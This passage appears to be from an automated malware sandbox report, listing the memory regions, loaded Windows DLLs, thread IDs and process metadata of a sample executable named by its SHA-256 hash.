end_va = 0x7ffa119affff monitored = 0 entry_point = 0x7ffa118f0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1129 start_va = 0x7ffa11a40000 end_va = 0x7ffa11a4bfff monitored = 0 entry_point = 0x7ffa11a42480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1130 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1131 start_va = 0x7ffa11d80000 end_va = 0x7ffa11d8bfff monitored = 0 entry_point = 0x7ffa11d82790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1132 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1133 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1134 start_va = 0x7ffa12080000 end_va = 0x7ffa120c8fff monitored = 0 entry_point = 0x7ffa1208a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1135 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1136 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1137 start_va = 0x7ffa122e0000 end_va = 0x7ffa12359fff monitored = 0 entry_point = 0x7ffa12301a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1138 start_va = 0x7ffa123a0000 end_va = 0x7ffa123d3fff monitored = 0 entry_point = 0x7ffa123bae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1139 start_va = 0x7ffa123e0000 end_va = 0x7ffa123e9fff monitored = 0 entry_point = 0x7ffa123e1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 1140 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1141 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1142 start_va = 0x7ffa12710000 end_va = 0x7ffa12726fff monitored = 0 entry_point = 0x7ffa127179d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1143 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1144 start_va = 0x7ffa12870000 end_va = 0x7ffa12890fff monitored = 0 entry_point = 0x7ffa12880250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1145 start_va = 0x7ffa128c0000 end_va = 0x7ffa128f9fff monitored = 0 entry_point = 0x7ffa128c8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1146 start_va = 0x7ffa12900000 end_va = 0x7ffa12926fff monitored = 0 entry_point = 0x7ffa12910aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1147 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1148 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1149 start_va = 0x7ffa12c00000 end_va = 0x7ffa12c18fff monitored = 0 entry_point = 0x7ffa12c05e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1150 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1151 start_va = 0x7ffa12c50000 end_va = 0x7ffa12ce8fff monitored = 0 entry_point = 0x7ffa12c7f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1152 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1153 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1154 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1155 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1156 start_va = 0x7ffa12e20000 end_va = 0x7ffa12e74fff monitored = 0 entry_point = 0x7ffa12e37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1157 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1158 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1159 start_va = 0x7ffa13110000 end_va = 0x7ffa13126fff monitored = 0 entry_point = 0x7ffa13111390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1160 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1161 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1162 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1163 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1164 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1165 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1166 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1167 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1168 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1169 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1170 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1171 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1172 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1173 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1174 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1175 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1176 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1177 start_va = 0x7ffa14c00000 end_va = 0x7ffa15028fff monitored = 0 entry_point = 0x7ffa14c28740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1178 start_va = 0x7ffa15030000 end_va = 0x7ffa1508bfff monitored = 0 entry_point = 0x7ffa1504b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1179 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1180 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1181 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1182 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1344 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1346 start_va = 0x8700000 end_va = 0x87fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008700000" filename = "" Region: id = 1347 start_va = 0x8800000 end_va = 0x88fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008800000" filename = "" Region: id = 1348 start_va = 0x8900000 end_va = 0x89fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008900000" filename = "" Region: id = 1349 start_va = 0x8a00000 end_va = 0x8afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a00000" filename = "" Region: id = 1350 start_va = 0xd40000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 1351 start_va = 0x30b0000 end_va = 0x312ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 1352 start_va = 0x460000 end_va = 0x461fff monitored = 0 entry_point = 0x465630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1353 start_va = 0x5e0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1354 start_va = 0x7ffa10bc0000 end_va = 0x7ffa10c10fff monitored = 0 entry_point = 0x7ffa10bc25e0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 1355 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1356 start_va = 0x3c80000 end_va = 0x3d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Thread: id = 27 os_tid = 0xf4c Thread: id = 28 os_tid = 0x6d8 Thread: id = 29 os_tid = 0x11e0 Thread: id = 30 os_tid = 0x9d8 Thread: id = 31 os_tid = 0x488 Thread: id = 32 os_tid = 0xeb8 Thread: id = 33 os_tid = 0xae8 Thread: id = 34 os_tid = 0xab0 Thread: id = 35 os_tid = 0xa5c Thread: id = 36 os_tid = 0x9d4 Thread: id = 37 os_tid = 0x868 Thread: id = 38 os_tid = 0x860 Thread: id = 39 os_tid = 0x858 Thread: id = 40 os_tid = 0x5c0 Thread: id = 41 os_tid = 0x440 Thread: id = 42 os_tid = 0x5e4 Thread: id = 43 os_tid = 0x5b0 Thread: id = 44 os_tid = 0x7d4 Thread: id = 45 os_tid = 0x8c Thread: id = 46 os_tid = 0x380 Thread: id = 47 os_tid = 0x340 Thread: id = 48 os_tid = 0x29c Thread: id = 49 os_tid = 0x224 Thread: id = 50 os_tid = 0x804 Thread: id = 51 os_tid = 0x820 Thread: id = 52 os_tid = 0xbf4 Thread: id = 53 os_tid = 0xb6c Thread: id = 54 os_tid = 0x82c Thread: id = 55 os_tid = 0x7a0 Thread: id = 56 os_tid = 0x958 Thread: id = 57 os_tid = 0x81c Thread: id = 58 os_tid = 0xa88 Thread: id = 59 os_tid = 0xad8 Thread: id = 60 os_tid = 0xad0 Thread: id = 61 os_tid = 0x8c4 Thread: id = 62 os_tid = 0x430 Thread: id = 63 os_tid = 0x438 Thread: id = 64 os_tid = 0xb94 Thread: id = 65 os_tid = 0xbc0 Thread: id = 66 os_tid = 0x5ec Thread: id = 67 os_tid = 0x780 Thread: id = 68 os_tid = 0x5ac Thread: id = 69 os_tid = 0x728 Thread: id = 70 os_tid = 0x5e0 Thread: id = 71 os_tid = 0x508 Thread: id = 72 os_tid = 0x428 Thread: id = 73 os_tid = 0x4f8 Thread: id = 74 os_tid = 0x7e4 Thread: id = 75 os_tid = 0x7e0 Thread: id = 76 os_tid = 0x7dc Thread: id = 77 os_tid = 0x7d8 Thread: id = 78 os_tid = 0x7cc Thread: id = 79 os_tid = 0x788 Thread: id = 80 os_tid = 0x744 Thread: id = 81 os_tid = 0x448 Thread: id = 82 os_tid = 0x6f8 Thread: id = 83 os_tid = 0x6d4 Thread: id = 84 os_tid = 0x648 Thread: id = 85 os_tid = 0x640 Thread: id = 86 os_tid = 0x62c Thread: id = 87 os_tid = 0x530 Thread: id = 88 os_tid = 0x4a8 Thread: id = 89 os_tid = 0x2ac Thread: id = 90 os_tid = 0x270 Thread: id = 91 os_tid = 0x154 Thread: id = 92 os_tid = 0x1bc Thread: id = 93 os_tid = 0x180 Thread: id = 94 os_tid = 0x188 Thread: id = 95 os_tid = 0x148 Thread: id = 96 os_tid = 0x12c Thread: id = 97 os_tid = 0xfc Thread: id = 98 os_tid = 0x60 Thread: id = 99 os_tid = 0x3f0 Thread: id = 100 os_tid = 0x3e8 Thread: id = 101 os_tid = 0x364 Thread: id = 108 os_tid = 0x1360 Thread: id = 109 os_tid = 0x1364 Thread: id = 110 os_tid = 0xd00 Thread: id = 111 os_tid = 0xd18 Thread: id = 112 os_tid = 0xd24 Thread: id = 113 os_tid = 0xd28 Thread: id = 114 os_tid = 0xd58 Thread: id = 115 os_tid = 0xda4 Thread: id = 116 os_tid = 0xdc4 Thread: id = 117 os_tid = 0xdf4 Process: id = "7" image_name = "2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" page_root = "0x66aac000" os_pid = "0x11bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe\"" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1234 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1235 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1236 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1237 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1238 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1239 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1240 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1241 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1242 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1243 start_va = 0x400000 end_va = 0x543fff monitored = 1 entry_point = 0x4d4cf2 region_type = mapped_file name = "2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe") Region: id = 1244 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1245 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 1246 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1247 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1248 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1249 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 1250 start_va = 0x400000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1251 start_va = 0x450000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1252 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1253 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1254 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1255 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1256 start_va = 0x5e0000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 1257 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1258 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1259 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1260 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1261 start_va = 0x450000 end_va = 0x50dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1262 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1263 start_va = 0x73f90000 end_va = 0x74107fff monitored = 0 entry_point = 0x73fe8a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1266 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1267 start_va = 0x510000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1268 start_va = 0x770000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 1269 start_va = 0x764c0000 end_va = 0x764cdfff monitored = 0 entry_point = 0x764c5410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1272 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1273 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1274 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1275 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1276 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1277 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1278 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") 